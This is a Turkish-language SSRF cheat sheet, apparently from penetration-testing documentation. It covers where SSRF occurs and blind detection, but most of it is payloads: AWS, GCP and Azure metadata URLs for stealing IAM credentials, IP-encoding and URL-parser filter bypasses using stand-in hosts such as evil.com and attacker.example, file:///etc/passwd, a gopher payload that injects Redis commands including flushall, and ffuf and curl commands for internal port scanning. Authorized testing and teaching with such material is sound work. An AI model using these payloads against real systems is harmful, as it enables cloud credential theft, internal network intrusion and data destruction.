Server-Side Request Forgery (SSRF)
OWASP A10 difficulty: orta
Server-Side Request Forgery (SSRF), uygulamanın saldırganın belirlediği bir adrese sunucu adına HTTP(S) veya başka protokolde istek atmasıdır. Sunucu genelde iç ağa ve bulut metadata servislerine erişebildiği için, dışarıdan ulaşılamayan kaynaklar bu yolla hedeflenir.
Nerede aranır
Section titled “Nerede aranır”URL/host/dosya alan her özellik:
- Webhook / callback URL yapılandırması
- PDF, ekran görüntüsü, link önizleme, avatar/uzak görsel çekme
- Import from URL, proxy, RSS/fetch, “translate this page”
- XML/SVG işleyiciler, OOXML (DOCX) içindeki dış ilişkiler
- Headless browser / Puppeteer tabanlı render servisleri
Basic vs Blind SSRF
Section titled “Basic vs Blind SSRF”- Basic (in-band) — yanıt gövdesinde veya hata mesajında uzak içerik yansır; iç HTML / metadata doğrudan okunur.
- Blind — yalnızca zaman farkı, hata kodu veya OAST (DNS/HTTP) geri çağırma ile doğrulanır; veri exfil için ikinci kanal gerekir.
Komut üreteci
Section titled “Komut üreteci”SSRF · AWS metadata
embedded toolcurl -s http://169.254.169.254/latest/meta-data/Bu URL yi uygulamanın SSRF parametresine ver.
Sömürü hedefleri
Section titled “Sömürü hedefleri”# Loopback / iç servislerhttp://127.0.0.1:6379/http://127.0.0.1:8080/adminhttp://localhost:9200/_cat/indices # Elasticsearchhttp://169.254.169.254/ # link-local metadata# AWS IMDSv1http://169.254.169.254/latest/meta-data/http://169.254.169.254/latest/meta-data/iam/security-credentials/http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name># AWS IMDSv2 — PUT ile token gerekir; basit GET SSRF yetmeyebilir# GCPhttp://metadata.google.internal/computeMetadata/v1/# Header zorunlu: Metadata-Flavor: Google
# Azurehttp://169.254.169.254/metadata/instance?api-version=2021-02-01Metadata’dan alınan geçici kimlik bilgileriyle bulut API’sine geçiş sık görülen etki yükseltmesidir.
Filtre atlatma
Section titled “Filtre atlatma”# Alternatif IP gösterimleri (127.0.0.1)http://127.1/http://0x7f000001/http://2130706433/http://0177.0.0.1/http://127.0.0.1.nip.io/http://[::1]/http://[0:0:0:0:0:ffff:127.0.0.1]/# DNS / redirecthttp://make-127-0-0-1.attacker.example/ # A kaydı 127.0.0.1http://attacker.example/open-redirect?u=http://169.254.169.254/# URL parser uyuşmazlığıhttp://evil@127.0.0.1/http://127.0.0.1#@evil.com/http://evil.com\@127.0.0.1/# Şema değişimifile:///etc/passwdgopher://127.0.0.1:6379/_...dict://127.0.0.1:11211/ftp://127.0.0.1/Allow-list http://trusted.com ise açık yönlendirme veya DNS rebinding (kısa TTL ile IP değiştirme) denenebilir.
Protokol smuggling — gopher
Section titled “Protokol smuggling — gopher”gopher:// destekleniyorsa Redis, SMTP, memcached gibi ham TCP servislerine bayt enjekte edilebilir:
# Redis örneği (URL-encode edilmiş satırlar)gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a...Tespit — kör SSRF
Section titled “Tespit — kör SSRF”-
OAST işaretçisi kullan — parametreye Burp Collaborator / interactsh adresi ver; DNS ve HTTP geri çağırma bekle.
-
Yanıt farklarını gözle — açık port vs kapalı port; süre (timeout) ve hata mesajı farkları iç ağ port taramasını mümkün kılar.
-
Yönlendirme / kısmi URL — uygulama sadece path alıyorsa http://internal host’unu başka parametreyle birleştirip test et ( url=http://x&path=@169.254.169.254 ).
-
Zincirle — metadata → cloud credential → iç panel / S3 / IMDSv2 token gerektiren akışları haritala; gerekirse XXE veya PDF renderer ile ikinci SSRF yüzeyine geç.
Araçlar
Section titled “Araçlar”curl -i "https://hedef/fetch?url=http://$(uuid).oast.fun"ffuf -u 'https://hedef/proxy?url=http://127.0.0.1:FUZZ/' \ -w ports.txt -mc all -fs <normal_len>